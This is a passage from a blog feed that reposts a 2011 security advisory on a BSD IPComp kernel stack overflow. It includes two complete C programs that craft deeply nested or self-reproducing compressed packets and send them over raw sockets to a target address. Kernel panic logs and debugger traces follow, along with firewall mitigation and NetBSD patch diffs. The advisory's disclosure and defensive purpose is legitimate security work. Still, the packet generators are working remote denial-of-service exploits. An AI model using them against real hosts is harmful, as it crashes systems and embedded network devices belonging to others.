fprintf(stderr, &#8220;error: failed to encapsulate data\n&#8221;);<br />
return 1;<br />
}<br />
}</p>
<p>// Create a final outer packet with best compression, which should now<br />
// compress well due to Z_NO_COMPRESSION used in inner payloads.<br />
if (ipcomp_encapsulate_data(ipcomp,length,IPPROTO_COMP,&amp;ipcomp,&amp;length,Z_BEST_COMPRESSION) != true) {<br />
fprintf(stderr, &#8220;error: failed to encapsulate data\n&#8221;);<br />
return 1;<br />
}</p>
<p>fprintf(stdout, &#8220;info: created %u nested ipcomp payload, %u bytes\n&#8221;, depth, length);</p>
<p>sin.sin_family      = AF_INET;<br />
sin.sin_port        = htons(0);<br />
sin.sin_addr.s_addr = inet_addr(argv[1]);</p>
<p>if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_COMP)) &lt; 0) {<br />
fprintf(stderr, &#8220;error: failed to create socket, %m\n&#8221;);<br />
return 1;<br />
}</p>
<p>if (sendto(s,ipcomp,length,MSG_NOSIGNAL,(const struct sockaddr *)(&amp;sin),sizeof(sin)) != length) {<br />
fprintf(stderr, &#8220;error: send() returned failure, %m\n&#8221;);<br />
return 1;<br />
}</p>
<p>fprintf(stdout, &#8220;info: success, packet sent to %s\n&#8221;, argv[1]);</p>
<p>free(ipcomp);</p>
<p>return 0;<br />
}</p></blockquote>
<p>Packets of the following form are generated.</p>
<blockquote><p>Internet Protocol, Src: 192.168.1.1, Dst: 192.168.1.2<br />
Version: 4<br />
Header length: 20 bytes<br />
Differentiated Services Field: 0&#215;04 (DSCP 0&#215;01: Unknown DSCP; ECN: 0&#215;00)<br />
0000 01.. = Differentiated Services Codepoint: Unknown (0&#215;01)<br />
&#8230;. ..0. = ECN-Capable Transport (ECT): 0<br />
&#8230;. &#8230;0 = ECN-CE: 0<br />
Total Length: 205<br />
Identification: 0xc733 (50995)<br />
Flags: 0&#215;00<br />
0.. = Reserved bit: Not Set<br />
.0. = Don&#8217;t fragment: Not Set<br />
..0 = More fragments: Not Set<br />
Fragment offset: 0<br />
Time to live: 64<br />
Protocol: IPComp (0x6c)<br />
Header checksum: 0x2e69 [correct]<br />
[Good: True]<br />
[Bad : False]<br />
Source: 192.168.1.1<br />
Destination: 192.168.1.2<br />
IP Payload Compression<br />
Next Header: IPComp (0x6c)<br />
IPComp Flags: 0&#215;00<br />
IPComp CPI: DEFLATE (0&#215;0002)<br />
Data (181 bytes)<br />
Data: 73656158&#8230;<br />
[Length: 181]</p></blockquote>
<blockquote><p>$ gcc ipcomp.c -lz -o ipcomp<br />
$ sudo ./ipcomp 192.168.1.2<br />
info: created 1024 nested ipcomp payload, 2538 bytes<br />
info: success, packet sent to 192.168.1.2</p>
<p>Mar 25 05:34:40  /netbsd: uvm_fault(0xca7bc774, 0&#215;1000, 1) -&gt; 0xe<br />
Mar 25 05:34:40  /netbsd: fatal page fault in supervisor mode<br />
Mar 25 05:34:40  /netbsd: trap type 6 code 0 eip c0633269 cs 8 eflags 10202 cr2 1335 ilevel 0<br />
Mar 25 05:34:40  /netbsd: panic: trap<br />
Mar 25 05:34:40  /netbsd: Begin traceback&#8230;<br />
Mar 25 05:34:40  /netbsd: uvm_fault(0xca7bc774, 0, 1) -&gt; 0xe<br />
Mar 25 05:34:40  /netbsd: fatal page fault in supervisor mode<br />
Mar 25 05:34:40  /netbsd: trap type 6 code 0 eip c06e6c90 cs 8 eflags 10246 cr2 8 ilevel 0<br />
Mar 25 05:34:40  /netbsd: panic: trap<br />
Mar 25 05:34:40  /netbsd: Faulted in mid-traceback; aborting&#8230;</p>
<p>Adjust depth as required.</p>
<p>(gdb) bt<br />
#0  ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:112<br />
#1  0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248<br />
#2  0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248<br />
#3  0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248<br />
#4  0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248<br />
#5  0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248<br />
#6  0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248<br />
[ trimmed ]<br />
#148 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248<br />
#149 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248<br />
#150 0xc0162bbb in ip_input (m=0xc14e1300) at ../../../../netinet/ip_input.c:1059<br />
#151 0xc0161b82 in ipintr () at ../../../../netinet/ip_input.c:476<br />
#152 0xc05d6248 in softint_execute (si=0xca79e154, l=0xca7a7a00, s=4) at ../../../../kern/kern_softint.c:539<br />
#153 0xc05d60e6 in softint_dispatch (pinned=0xca7a7500, s=4) at ../../../../kern/kern_softint.c:811<br />
(gdb) info frame<br />
Stack level 0, frame at 0xcab9bf08:<br />
eip = 0xc01ebd5c in ipcomp4_input (../../../../netinet6/ipcomp_input.c:112); saved eip 0xc01ec302<br />
called by frame at 0xcab9bfa8<br />
source language c.<br />
Arglist at 0xcab9bf00, args: m=0xc14e1300<br />
Locals at 0xcab9bf00, Previous frame&#8217;s sp is 0xcab9bf08<br />
Saved registers:<br />
ebx at 0xcab9bef8, ebp at 0xcab9bf00, esi at 0xcab9befc, eip at 0xcab9bf04<br />
(gdb) info target<br />
Symbols from &#8220;netbsd.gdb&#8221;.<br />
Remote serial target in gdb-specific protocol:<br />
Debugging a target over a serial line.</p>
<p>Therefore, an oob sp will write attacker controlled data.</p>
<p>(gdb) tb panic<br />
Temporary breakpoint 2, panic (fmt=0xc0acf54b &#8220;trap&#8221;) at ../../../../kern/subr_prf.c:184<br />
184     kpreempt_disable();<br />
(gdb) bt<br />
#0  panic (fmt=0xc0acf54b &#8220;trap&#8221;) at ../../../../kern/subr_prf.c:184<br />
#1  0xc06f0919 in trap (frame=0xcac49f84) at ../../../../arch/i386/i386/trap.c:368<br />
#2  0xc06f0566 in trap_tss (tss=0xc0cfe5ec, trapno=13, code=0) at ../../../../arch/i386/i386/trap.c:197<br />
#3  0xc010cb1b in ?? ()<br />
(gdb) frame 1<br />
(gdb) info symbol frame-&gt;tf_eip</p>
<p>etc.</p></blockquote>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Mitigation<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>*******************************************************************************<br />
* Please note, this document is intended for security professionals, network  *<br />
* or systems administrators, and vendors of network equipment and software.   *<br />
* End users need not be concerned.                                            *<br />
*******************************************************************************</p>
<p>For numerous reasons, it is a good idea to filter IPComp at the perimeter if it is not expected. Even when implemented correctly, IPComp completely defeats the purpose of Delayed Compression in OpenSSH (see CAN-2005-2096 for an example of why you always want delayed compression). Additionally, the encapsulation means any attacks that require link-local access can simply be wrapped in ipcomp and are then routable (that is not good).</p>
<p>Affected servers and devices can use packet filtering to prevent the vulnerable code from being exercised. On systems with ipfw, a rule based on the following ipfw/ipfw6 template can be used, adjust to whitelist expected peers as appropriate.</p>
<p># ipfw add deny proto ipcomp</p>
<p>On other BSD systems, pfctl rules can be substituted. See vendor documentation for how to configure network appliances to deny IPComp at network boundaries.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Solution<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>I would recommend vendors disallow nested encapulation of ipcomp payloads. The implementation of this fix will of course vary by product.</p>
<p>By the time you read this advisory, a fix should have been committed to the NetBSD repository, downstream consumers of NetBSD code are advised to import the changes urgently.</p>
<p>A draft patch from S.P.Zeidler of the NetBSD project is attached for reference.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Credit<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>This bug was discovered by Tavis Ormandy.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Greetz<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Greetz to Hawkes, Julien, LiquidK, Lcamtuf, Neel, Spoonm, Felix, Robert,Asirap, Meder, Spender, Pipacs, Gynvael, Scarybeasts, Redpig, Kees, Eugene,Bruce D., djm, Brian C., djrbliss, jono, and all my other elite friends and colleagues.</p>
<p>And of course, $1$kk1q85Xp$Id.gAcJOg7uelf36VQwJQ/.</p>
<p>Additional thanks to Jan, Felix and Meder for their mad xnu skillz.</p>
<p>Jan helps organize a security conference called #days held in Lucerne, Switzerland (a very picturesque Swiss city). The CFP is currently open, you should check it out at https://www.hashdays.ch/.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Notes<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>An elegant method of reproducing this flaw would be using self-reproducing Lempel-Ziv programs, rsc describes the technique here:</p>
<p>http://research.swtch.com/2010/03/zip-files-all-way-down.html</p>
<p>This method would also be able to disrupt non-recursive implementations that do not prevent nested encapulation, such as modern FreeBSD and OpenBSD. Perhaps this will also affect other non-BSD implementations. An ipcomp quine is defined below in GNU C syntax below, and a testcase for Linux is attached to this mail.</p>
<blockquote><p>struct {<br />
uint8_t     comp_nxt;       // Next Header<br />
uint8_t     comp_flags;     // Reserved, must be zero<br />
uint16_t    comp_cpi;       // Compression parameter index<br />
uint8_t     comp_data[180]; // Payload<br />
} ipcomp = {<br />
.comp_nxt       = IPPROTO_COMP,<br />
.comp_flags     = 0,<br />
.comp_cpi       = htons(IPCOMP_DEFLATE),<br />
.comp_data      = {<br />
0xca, 0&#215;61, 0&#215;60, 0&#215;60, 0&#215;02, 0&#215;00, 0x0a, 0&#215;00, 0xf5, 0xff,<br />
0xca, 0&#215;61, 0&#215;60, 0&#215;60, 0&#215;02, 0&#215;00, 0x0a, 0&#215;00, 0xf5, 0xff,<br />
0&#215;02, 0xb3, 0xc0, 0x2c, 0&#215;00, 0&#215;00, 0&#215;05, 0&#215;00, 0xfa, 0xff,<br />
0&#215;02, 0xb3, 0xc0, 0x2c, 0&#215;00, 0&#215;00, 0&#215;05, 0&#215;00, 0xfa, 0xff,<br />
0&#215;00, 0&#215;05, 0&#215;00, 0xfa, 0xff, 0&#215;00, 0&#215;14, 0&#215;00, 0xeb, 0xff,<br />
0&#215;02, 0xb3, 0xc0, 0x2c, 0&#215;00, 0&#215;00, 0&#215;05, 0&#215;00, 0xfa, 0xff,<br />
0&#215;00, 0&#215;05, 0&#215;00, 0xfa, 0xff, 0&#215;00, 0&#215;14, 0&#215;00, 0xeb, 0xff,<br />
0&#215;42, 0&#215;88, 0&#215;21, 0xc4, 0&#215;00, 0&#215;00, 0&#215;14, 0&#215;00, 0xeb, 0xff,<br />
0&#215;42, 0&#215;88, 0&#215;21, 0xc4, 0&#215;00, 0&#215;00, 0&#215;14, 0&#215;00, 0xeb, 0xff,<br />
0&#215;42, 0&#215;88, 0&#215;21, 0xc4, 0&#215;00, 0&#215;00, 0&#215;14, 0&#215;00, 0xeb, 0xff,<br />
0&#215;42, 0&#215;88, 0&#215;21, 0xc4, 0&#215;00, 0&#215;00, 0&#215;14, 0&#215;00, 0xeb, 0xff,<br />
0&#215;42, 0&#215;88, 0&#215;21, 0xc4, 0&#215;00, 0&#215;00, 0&#215;00, 0&#215;00, 0xff, 0xff,<br />
0&#215;00, 0&#215;00, 0&#215;00, 0xff, 0xff, 0&#215;00, 0x0f, 0&#215;00, 0xf0, 0xff,<br />
0&#215;42, 0&#215;88, 0&#215;21, 0xc4, 0&#215;00, 0&#215;00, 0&#215;00, 0&#215;00, 0xff, 0xff,<br />
0&#215;00, 0&#215;00, 0&#215;00, 0xff, 0xff, 0&#215;00, 0x0f, 0&#215;00, 0xf0, 0xff,<br />
0&#215;82, 0&#215;72, 0&#215;61, 0x5c, 0&#215;00, 0&#215;00, 0&#215;00, 0&#215;00, 0xff, 0xff,<br />
0&#215;01, 0&#215;00, 0&#215;00, 0xff, 0xff, 0&#215;82, 0&#215;72, 0&#215;61, 0x5c, 0&#215;00,<br />
0&#215;00, 0&#215;00, 0&#215;00, 0xff, 0xff, 0&#215;01, 0&#215;00, 0&#215;00, 0xff, 0xff<br />
}<br />
};</p></blockquote>
<p>Note that modern FreeBSD and OpenBSD appear to drop incoming ipcomp packets if no TBD entries are known (see netstat -s -p ipcomp statistics, and the setkey documentation). You will have to allow for this while testing. Depending on implementation, You may also need to spoof the source address of a peer, see man 7 raw.</p>
<p>Special thanks to rsc and Matthew Dempsky for hints and assistance.</p>
<p>Something like this may be useful for testing:</p>
<p># setkey -c<br />
add 192.168.0.1 192.168.0.2 ipcomp 0002 -C deflate<br />
^D</p>
<p>-</p>
<p>I would advise caution when sending malformed or pathological packets across critical infrastructure or the public internet, many embedded devices are based on BSD-derived code and may not handle the error gracefully.</p>
<p>-</p>
<p>Julien will be angry I didn&#8217;t use scapy, sorry! I am a fan <img src='http://ipsecs.com/web/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>-</p>
<p>A bug in Xnu&#8217;s custom allocator for zlib (deflate_alloc) causes zlib initialisation to fail if ~1k bytes is not available to MALLOC() with M_NOWAIT, even though M_WAITOK was intended, as described in the comments:</p>
<blockquote><p>/*<br />
* Avert your gaze, ugly hack follows!<br />
* We init here so our malloc can allocate using M_WAIT.<br />
* We don&#8217;t want to allocate if ipcomp isn&#8217;t used, and we<br />
* don&#8217;t want to allocate on the input or output path.<br />
* Allocation fails if we use M_NOWAIT because init allocates<br />
* something like 256k (ouch).<br />
*/</p></blockquote>
<p>However with some creativity it is possible to make the allocation succeed. You can observe this bug by sending an ipcomp packet and looking for the memory allocation failure in the network statistics (try something like `netstat -s | grep -A16 ipsec:`). You can also set `sysctl -w net.inet.ipsec.debug=1`.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
References<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>- http://research.swtch.com/2010/03/zip-files-all-way-down.html<br />
research!rsc: Zip Files All The Way Down<br />
- http://tools.ietf.org/html/rfc3173<br />
RFC3173: IP Payload Compression Protocol (IPComp)<br />
- http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/netinet6/ipcomp_input.c?rev=1.36&amp;content-type=text/x-cvsweb-markup&amp;only_with_tag=MAIN<br />
NetBSD: ipcomp_input.c, v1.36<br />
- http://www.opensource.apple.com/source/xnu/xnu-1456.1.26/bsd/netinet6/ipcomp_input.c<br />
Xnu: ipcomp_input.c<br />
- http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man8/ipfw.8.html<br />
ipfw &#8212; IP firewall and traffic shaper control program<br />
- http://www.netbsd.org/docs/network/pf.html<br />
The NetBSD Packet Filter (generally applies to other popular BSDs).<br />
- http://fxr.watson.org/fxr/source/netinet6/ipcomp_input.c?v=FREEBSD64#L222<br />
Earlier versions of FreeBSD were implemented recursively, the code was since refactored.<br />
- http://fxr.watson.org/fxr/source/netipsec/xform_ipcomp.c?v=FREEBSD81#L299<br />
The current version is implemented iteratively (see NOTES section on Quine DoS).<br />
- http://www.force10networks.com/products/ftos.asp<br />
FTOS &#8211; Force10 Operating System<br />
- http://www.qnx.com/developers/docs/6.4.1/io-pkt_en/user_guide/drivers.html<br />
QNX Network Drivers Documentation</p>
<p>Support high-quality journalism in information security by subscribing to LWN http://lwn.net/ (i have no connection to lwn other than appreciating their work).</p>
<p>I have a twitter account where I occasionally comment on security topics.</p>
<p>http://twitter.com/taviso</p>
<p>ex$$</p>
<blockquote><p>&#8211;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
taviso at cmpxchg8b.com | pgp encrypted mail preferred<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
&#8212;&#8212;&#8212;&#8212;&#8211; next part &#8212;&#8212;&#8212;&#8212;&#8211;<br />
#include &lt;string.h&gt;<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;netinet/ip.h&gt;<br />
#include &lt;netinet/ip.h&gt;<br />
#include &lt;unistd.h&gt;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;zlib.h&gt;<br />
#include &lt;alloca.h&gt;<br />
#include &lt;stdbool.h&gt;<br />
#include &lt;stdlib.h&gt;</p>
<p>//<br />
// BSD IPComp Kernel Stack Overflow Testcase<br />
//  &#8212; Tavis Ormandy , March 2011<br />
//</p>
<p>#define MAX_PACKET_SIZE (1024 * 1024 * 32)<br />
#define MAX_ENCAP_DEPTH 1024</p>
<p>enum {<br />
IPCOMP_OUI          = 1,<br />
IPCOMP_DEFLATE      = 2,<br />
IPCOMP_LZS          = 3,<br />
IPCOMP_MAX,<br />
};</p>
<p>struct ipcomp {<br />
uint8_t     comp_nxt;       // Next Header<br />
uint8_t     comp_flags;     // Reserved, must be zero<br />
uint16_t    comp_cpi;       // Compression parameter index<br />
uint8_t     comp_data[0];   // Payload.<br />
};</p>
<p>bool ipcomp_encapsulate_data(void           *data,<br />
size_t          size,<br />
int             nxt,<br />
struct ipcomp **out,<br />
size_t         *length,<br />
int             level)<br />
{<br />
struct ipcomp *ipcomp;<br />
z_stream       zstream;</p>
<p>ipcomp              = malloc(MAX_PACKET_SIZE);<br />
*out                = ipcomp;<br />
ipcomp-&gt;comp_nxt    = nxt;<br />
ipcomp-&gt;comp_cpi    = htons(IPCOMP_DEFLATE);<br />
ipcomp-&gt;comp_flags  = 0;</p>
<p>// Compress packet payload.<br />
zstream.zalloc      = Z_NULL;<br />
zstream.zfree       = Z_NULL;<br />
zstream.opaque      = Z_NULL;</p>
<p>if (deflateInit2(&amp;zstream,<br />
level,<br />
Z_DEFLATED,<br />
-12,<br />
MAX_MEM_LEVEL,<br />
Z_DEFAULT_STRATEGY) != Z_OK) {<br />
fprintf(stderr, &#8220;error: failed to initialize zlib library\n&#8221;);<br />
return false;<br />
}</p>
<p>zstream.avail_in    = size;<br />
zstream.next_in     = data;<br />
zstream.avail_out   = MAX_PACKET_SIZE &#8211; sizeof(struct ipcomp);<br />
zstream.next_out    = ipcomp-&gt;comp_data;</p>
<p>if (deflate(&amp;zstream, Z_FINISH) != Z_STREAM_END) {<br />
fprintf(stderr, &#8220;error: deflate() failed to create compressed payload, %s\n&#8221;, zstream.msg);<br />
return false;<br />
}</p>
<p>if (deflateEnd(&amp;zstream) != Z_OK) {<br />
fprintf(stderr, &#8220;error: deflateEnd() returned failure, %s\n&#8221;, zstream.msg);<br />
return false;<br />
}</p>
<p>// Calculate size.<br />
*length    = (MAX_PACKET_SIZE &#8211; sizeof(struct ipcomp)) &#8211; zstream.avail_out;<br />
ipcomp     = realloc(ipcomp, *length);</p>
<p>free(data);</p>
<p>return true;<br />
}</p>
<p>int main(int argc, char **argv)<br />
{<br />
int                 s;<br />
struct sockaddr_in  sin    = {0};<br />
struct ipcomp      *ipcomp = malloc(0);<br />
size_t              length = 0;<br />
unsigned            depth  = 0;</p>
<p>// Nest an ipcomp packet deeply without compression, this allows us to<br />
// create maximum redundancy.<br />
for (depth = 0; depth &lt; MAX_ENCAP_DEPTH; depth++) {<br />
if (ipcomp_encapsulate_data(ipcomp,length,IPPROTO_COMP,&amp;ipcomp,&amp;length,Z_NO_COMPRESSION) != true) {<br />
fprintf(stderr, &#8220;error: failed to encapsulate data\n&#8221;);<br />
return 1;<br />
}<br />
}</p>
<p>// Create a final outer packet with best compression, which should now<br />
// compress well due to Z_NO_COMPRESSION used in inner payloads.<br />
if (ipcomp_encapsulate_data(ipcomp,length,IPPROTO_COMP,&amp;ipcomp,&amp;length,Z_BEST_COMPRESSION) != true) {<br />
fprintf(stderr, &#8220;error: failed to encapsulate data\n&#8221;);<br />
return 1;<br />
}</p>
<p>fprintf(stdout, &#8220;info: created %u nested ipcomp payload, %u bytes\n&#8221;, depth, length);</p>
<p>sin.sin_family      = AF_INET;<br />
sin.sin_port        = htons(0);<br />
sin.sin_addr.s_addr = inet_addr(argv[1]);</p>
<p>if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_COMP)) &lt; 0) {<br />
fprintf(stderr, &#8220;error: failed to create socket, %m\n&#8221;);<br />
return 1;<br />
}</p>
<p>if (sendto(s,ipcomp,length,MSG_NOSIGNAL,(const struct sockaddr *)(&amp;sin),sizeof(sin)) != length) {<br />
fprintf(stderr, &#8220;error: send() returned failure, %m\n&#8221;);<br />
return 1;<br />
}</p>
<p>fprintf(stdout, &#8220;info: success, packet sent to %s\n&#8221;, argv[1]);</p>
<p>free(ipcomp);</p>
<p>return 0;<br />
}<br />
&#8212;&#8212;&#8212;&#8212;&#8211; next part &#8212;&#8212;&#8212;&#8212;&#8211;<br />
#include &lt;string.h&gt;<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;netinet/ip.h&gt;<br />
#include &lt;netinet/ip.h&gt;<br />
#include &lt;unistd.h&gt;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;zlib.h&gt;<br />
#include &lt;alloca.h&gt;<br />
#include &lt;stdbool.h&gt;<br />
#include &lt;stdlib.h&gt;</p>
<p>// Nested IPComp Encapsulation with DEFLATE LZ77 RFC1951 Quine.<br />
//<br />
// The technique used to generate this payload is documented here:<br />
//<br />
//  http://research.swtch.com/2010/03/zip-files-all-way-down.html<br />
//<br />
//  &#8212; Tavis Ormandy , March 2011<br />
//<br />
// Special thanks to rsc and Matthew Dempsky.<br />
//</p>
<p>enum {<br />
IPCOMP_OUI          = 1,<br />
IPCOMP_DEFLATE      = 2,<br />
IPCOMP_LZS          = 3,<br />
IPCOMP_MAX,<br />
};</p>
<p>int main(int argc, char **argv)<br />
{<br />
int                 s;<br />
struct sockaddr_in  sin    = {0};</p>
<p>struct __attribute__((packed)) {<br />
uint8_t     comp_nxt;       // Next Header<br />
uint8_t     comp_flags;     // Reserved, must be zero<br />
uint16_t    comp_cpi;       // Compression parameter index<br />
uint8_t     comp_data[180]; // Payload<br />
} ipcomp = {<br />
.comp_nxt       = IPPROTO_COMP,<br />
.comp_flags     = 0,<br />
.comp_cpi       = htons(IPCOMP_DEFLATE),<br />
.comp_data      = {<br />
0xca, 0&#215;61, 0&#215;60, 0&#215;60, 0&#215;02, 0&#215;00, 0x0a, 0&#215;00, 0xf5, 0xff,<br />
0xca, 0&#215;61, 0&#215;60, 0&#215;60, 0&#215;02, 0&#215;00, 0x0a, 0&#215;00, 0xf5, 0xff,<br />
0&#215;02, 0xb3, 0xc0, 0x2c, 0&#215;00, 0&#215;00, 0&#215;05, 0&#215;00, 0xfa, 0xff,<br />
0&#215;02, 0xb3, 0xc0, 0x2c, 0&#215;00, 0&#215;00, 0&#215;05, 0&#215;00, 0xfa, 0xff,<br />
0&#215;00, 0&#215;05, 0&#215;00, 0xfa, 0xff, 0&#215;00, 0&#215;14, 0&#215;00, 0xeb, 0xff,<br />
0&#215;02, 0xb3, 0xc0, 0x2c, 0&#215;00, 0&#215;00, 0&#215;05, 0&#215;00, 0xfa, 0xff,<br />
0&#215;00, 0&#215;05, 0&#215;00, 0xfa, 0xff, 0&#215;00, 0&#215;14, 0&#215;00, 0xeb, 0xff,<br />
0&#215;42, 0&#215;88, 0&#215;21, 0xc4, 0&#215;00, 0&#215;00, 0&#215;14, 0&#215;00, 0xeb, 0xff,<br />
0&#215;42, 0&#215;88, 0&#215;21, 0xc4, 0&#215;00, 0&#215;00, 0&#215;14, 0&#215;00, 0xeb, 0xff,<br />
0&#215;42, 0&#215;88, 0&#215;21, 0xc4, 0&#215;00, 0&#215;00, 0&#215;14, 0&#215;00, 0xeb, 0xff,<br />
0&#215;42, 0&#215;88, 0&#215;21, 0xc4, 0&#215;00, 0&#215;00, 0&#215;14, 0&#215;00, 0xeb, 0xff,<br />
0&#215;42, 0&#215;88, 0&#215;21, 0xc4, 0&#215;00, 0&#215;00, 0&#215;00, 0&#215;00, 0xff, 0xff,<br />
0&#215;00, 0&#215;00, 0&#215;00, 0xff, 0xff, 0&#215;00, 0x0f, 0&#215;00, 0xf0, 0xff,<br />
0&#215;42, 0&#215;88, 0&#215;21, 0xc4, 0&#215;00, 0&#215;00, 0&#215;00, 0&#215;00, 0xff, 0xff,<br />
0&#215;00, 0&#215;00, 0&#215;00, 0xff, 0xff, 0&#215;00, 0x0f, 0&#215;00, 0xf0, 0xff,<br />
0&#215;82, 0&#215;72, 0&#215;61, 0x5c, 0&#215;00, 0&#215;00, 0&#215;00, 0&#215;00, 0xff, 0xff,<br />
0&#215;01, 0&#215;00, 0&#215;00, 0xff, 0xff, 0&#215;82, 0&#215;72, 0&#215;61, 0x5c, 0&#215;00,<br />
0&#215;00, 0&#215;00, 0&#215;00, 0xff, 0xff, 0&#215;01, 0&#215;00, 0&#215;00, 0xff, 0xff<br />
}<br />
};</p>
<p>sin.sin_family      = AF_INET;<br />
sin.sin_port        = htons(0);<br />
sin.sin_addr.s_addr = inet_addr(argv[1]);</p>
<p>if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_COMP)) &lt; 0) {<br />
fprintf(stderr, &#8220;error: failed to create socket, %m\n&#8221;);<br />
return 1;<br />
}</p>
<p>if (sendto(s,&amp;ipcomp,sizeof(ipcomp),MSG_NOSIGNAL,(const struct sockaddr *)(&amp;sin),sizeof(sin)) != sizeof(ipcomp)) {<br />
fprintf(stderr, &#8220;error: send() returned failure, %m\n&#8221;);<br />
return 1;<br />
}</p>
<p>fprintf(stdout, &#8220;info: success, packet sent to %s\n&#8221;, argv[1]);</p>
<p>return 0;<br />
}<br />
&#8212;&#8212;&#8212;&#8212;&#8211; next part &#8212;&#8212;&#8212;&#8212;&#8211;<br />
Index: sys/netipsec/xform_ipcomp.c<br />
===================================================================<br />
RCS file: /cvsroot/src/sys/netipsec/xform_ipcomp.c,v<br />
retrieving revision 1.25<br />
diff -u -u -p -r1.25 xform_ipcomp.c<br />
&#8212; sys/netipsec/xform_ipcomp.c 24 Feb 2011 20:03:41 -0000  1.25<br />
+++ sys/netipsec/xform_ipcomp.c 29 Mar 2011 19:24:04 -0000<br />
@@ -326,6 +326,14 @@ ipcomp_input_cb(struct cryptop *crp)<br />
/* Keep the next protocol field */<br />
addr = (uint8_t*) mtod(m, struct ip *) + skip;<br />
nproto = ((struct ipcomp *) addr)-&gt;comp_nxt;<br />
+   if (nproto == IPPROTO_IPCOMP || nproto == IPPROTO_AH || nproto == IPPROTO_ESP) {<br />
+       IPCOMP_STATINC(IPCOMP_STAT_HDROPS);<br />
+       DPRINTF((&#8220;ipcomp_input_cb: nested ipcomp, IPCA %s/%08lx\n&#8221;,<br />
+            ipsec_address(&amp;sav-&gt;sah-&gt;saidx.dst),<br />
+            (u_long) ntohl(sav-&gt;spi)));<br />
+       error = EINVAL;<br />
+       goto bad;<br />
+   }</p>
<p>/* Remove the IPCOMP header */<br />
error = m_striphdr(m, skip, hlen);<br />
&#8212;&#8212;&#8212;&#8212;&#8211; next part &#8212;&#8212;&#8212;&#8212;&#8211;<br />
Index: sys/netinet6/ipcomp_input.c<br />
===================================================================<br />
RCS file: /cvsroot/src/sys/netinet6/ipcomp_input.c,v<br />
retrieving revision 1.36<br />
diff -u -u -p -r1.36 ipcomp_input.c<br />
&#8212; sys/netinet6/ipcomp_input.c 5 May 2008 13:41:30 -0000   1.36<br />
+++ sys/netinet6/ipcomp_input.c 29 Mar 2011 19:19:00 -0000<br />
@@ -148,6 +148,13 @@ ipcomp4_input(m, va_alist)<br />
ipcomp = mtod(md, struct ipcomp *);<br />
ip = mtod(m, struct ip *);<br />
nxt = ipcomp-&gt;comp_nxt;<br />
+   if (nxt == IPPROTO_IPCOMP || nxt == IPPROTO_AH || nxt == IPPROTO_ESP) {<br />
+       /* nested ipcomp &#8211; possible attack, not likely useful */<br />
+       ipseclog((LOG_DEBUG, &#8220;IPv4 IPComp input: nested ipcomp &#8221;<br />
+           &#8220;(bailing)\n&#8221;));<br />
+       IPSEC_STATINC(IPSEC_STAT_IN_INVAL);<br />
+       goto fail;<br />
+   }<br />
hlen = ip-&gt;ip_hl &lt;&lt; 2;</p>
<p>cpi = ntohs(ipcomp-&gt;comp_cpi);</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://ipsecs.com/web/?feed=rss2&#038;p=224</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Deep Knowledge on Network Hacking Philosopy</title>
		<link>http://ipsecs.com/web/?p=221</link>
		<comments>http://ipsecs.com/web/?p=221#comments</comments>
		<pubDate>Sat, 18 Dec 2010 06:55:51 +0000</pubDate>
		<dc:creator>IPSECS Admin</dc:creator>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Presentation]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Philosopy]]></category>

		<guid isPermaLink="false">http://ipsecs.com/web/?p=221</guid>
		<description><![CDATA[People have talked so many things about how to hack the network, but do they remember data communication modeling? do they know how large network hacking scope? or they just know arp spoofing, dns poisoning, and denial of service? To understand complete (nearly?) process network hacking, they have to undestand data communication modeling like DoD [...]]]></description>
